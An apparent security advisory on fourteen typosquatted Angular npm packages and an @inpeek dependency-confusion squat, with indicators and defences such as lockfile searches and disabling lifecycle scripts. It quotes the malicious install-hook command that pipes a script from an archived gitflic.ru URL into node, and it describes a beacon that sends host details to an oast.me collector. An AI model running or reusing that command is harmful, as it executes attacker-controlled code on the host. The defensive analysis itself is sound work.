Fourteen Angular Typosquats in Four Hours, All Piping Code Through web.archive.org

Between 23:17 UTC on 4 October 2026 and 03:33 UTC on 5 October 2026, the Open Source Vulnerability database published malware advisories for fourteen npm packages whose names are one keystroke away from Angular’s core publishing scopes. We queried OSV directly for each name. The list, with advisory IDs and publication timestamps:

  • First wave — 4 October, 23:17–23:18 UTC (five packages, preinstall hook): @angularr/cli (MAL-2026-17492), @angularr/core (MAL-2026-17493), @angularr/router (MAL-2026-17494), @angulra/cli (MAL-2026-17495), @angulra/core (MAL-2026-17496).
  • Second wave — 5 October, 03:31–03:33 UTC (nine packages, postinstall hook): @anfular/core (MAL-2026-17533), @angulaar/cli (MAL-2026-17536), @qngular/core (MAL-2026-17544), @angupar/core (MAL-2026-17539), @anngular/core (MAL-2026-17540), @angulr/core (MAL-2026-17538), @abgular/core (MAL-2026-17532), @anguar/core (MAL-2026-17535), @angulaar/core (MAL-2026-17537).

Every advisory in both waves is sourced to Amazon Inspector and carries CWE-506, Embedded Malicious Code. Eleven of the fourteen are published at version 22.2.1 — which is, precisely, the current real version of @angular/cli and @angular/core. Two (@angularr/core, @angulra/core) use 1.0.67; @angularr/router uses 2.2.0. Matching the genuine version number is a small, cheap touch that makes a lockfile diff or a casual npm ls look unremarkable.

One payload, thirteen doors

Thirteen of the fourteen advisories describe the same install-time command. From the OSV record for @angularr/core, verbatim:

curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node

Four properties of that one line deserve attention, because together they are the whole technique:

  • It runs on npm install, not on require. No import, no build step, no code path reached. Adding the dependency is the exploit. The first wave used preinstall, the second postinstall — functionally identical here, and a reminder that disabling one lifecycle hook is not a control.
  • It is unpinned and has no integrity check. The fetched bytes can differ for every installer, on every run. Whoever controls that gitflic.ru path controls execution on every host that installs, retroactively and indefinitely. There is nothing in the package to analyse; the package is a loader.
  • It routes through web.archive.org. This is the part worth internalising. The payload host — gitflic.ru, a Russian code-hosting service, under a user account named hellscripter — never appears as the connection destination. An egress allowlist, a proxy policy, or a network-detection rule that treats the Internet Archive as benign infrastructure sees a request to a well-known, high-reputation, overwhelmingly legitimate domain. The archive is being used as an open redirector for arbitrary content.
  • Piping curl into an interpreter removes the inspection step entirely. Nothing lands on disk to be scanned, quarantined, or reviewed.

The fourteenth package, @angulaar/cli, is the odd one out and the most interesting — it carries no fetch-and-pipe at all. Instead it copies the real Angular CLI source verbatim and alters a single manifest line, pointing the CLI’s MCP dependency at an attacker-chosen package name. That dependency-substitution variant, and the fact that the advisory’s reasoning about it is demonstrably incorrect, we treat separately.

A dependency-confusion squat rode along in the same batch

Published at 03:33 UTC alongside the second wave, MAL-2026-17543 covers @inpeek/odata-angular — a different attack with a similar surface. Per the advisory, it is a squat on a private @inpeek scope, pushed to the public registry at versions 99.99.99 through 99.99.102 specifically to win version resolution against the internal package of the same name. Its postinstall runs ping.js, which issues an HTTPS GET to an out-of-band collector at an oast.me subdomain carrying os.hostname(), os.platform(), process.version and the package name. Its index.js throws on require — there is no library, only the beacon.

OSV’s analysis adds a line worth quoting in spirit: the beacon leaks host identifiers to an attacker-controlled destination regardless of a “bug bounty research” framing in the package description. Self-declared research intent is not a property a resolver can check, and a CI runner that executes the beacon has already leaked.

Current status, and the limits of what we can say

We queried the npm registry directly for @angulaar/cli, @angularr/core, @angupar/core and @angulra/cli. All four return HTTP 404 — the packages have been removed from the registry. That is the expected and correct outcome, and it closes the window for new installs.

It closes nothing else. Two things we cannot establish, and will not guess at:

  • We do not know the install counts. Removed packages leave no public download statistics. Near-zero is plausible for one-character squats caught within hours; it is not demonstrated, and “probably nobody” is not an incident-response finding.
  • We do not know what the payload did. We did not fetch or execute the hosted script, and the advisories describe the delivery mechanism, not the behaviour of the delivered code. Anyone who installed one of these received whatever that endpoint served at that moment — which may not be what it serves now.

What the timestamps do establish is operator tempo: fourteen packages across two scope-naming strategies, published and detected inside roughly four hours, with a hook change between waves. This is batch-published, low-cost, high-volume name squatting of the kind we tracked in the MALFEX postinstall case and the DirtyBlanket fake-express worm. The Angular scope is simply a large, well-typo'd target.

What to do

  • Search your lockfiles for the exact strings, not the package names. Grep every package-lock.json, pnpm-lock.yaml, yarn.lock and CI cache for gitflic.ru, hellscripter, and web.archive.org/web/https. The names will change; the delivery URL is the durable indicator. Also check for the doubled-letter and transposed-letter Angular scopes listed above.
  • Treat high-reputation domains as carriers, not as verdicts. If your egress policy allows web.archive.org unconditionally, it allows arbitrary code from anywhere that the archive will proxy. The same reasoning applies to raw-content endpoints on any large hosting provider. Reputation is a property of the domain, not of the bytes.
  • Run installs with lifecycle scripts off by default. npm ci --ignore-scripts in CI, with an explicit allowlist for the handful of packages that genuinely need a build step, removes the entire class. Both waves here are inert against it.
  • Pin the scope, not just the version. Internal registries with scope-level allowlists defeat both the typosquat and the @inpeek-style private-scope confusion. Version pinning alone does not — 99.99.102 was chosen precisely to beat resolution.
  • For agent and coding-agent fleets, assume the install is the attack. An agent that resolves and installs a dependency it inferred from a prompt, a README, or an error message executes these hooks with the agent’s privileges. This is the same install-time trust boundary behind the GitSpawn untrusted-repo RCE across seven coding agents.

Verification note: we queried the OSV API directly for each package name and read the full advisory records for MAL-2026-17492 through MAL-2026-17496, MAL-2026-17532, MAL-2026-17533, MAL-2026-17535 through MAL-2026-17540, MAL-2026-17543 and MAL-2026-17544, taking the package names, advisory IDs, publication timestamps, affected versions, CWE-506 classification, Amazon Inspector sourcing, lifecycle-hook type and the payload command string from those records. We enumerated the advisory files added to the ossf/malicious-packages repository since 4 October 2026 via the GitHub API to confirm the size and boundaries of the batch. We queried the npm registry directly for four of the package names and received HTTP 404 for each. We did not fetch, download, or execute the hosted payload, and we make no claim about its behaviour or about install counts.

Sources: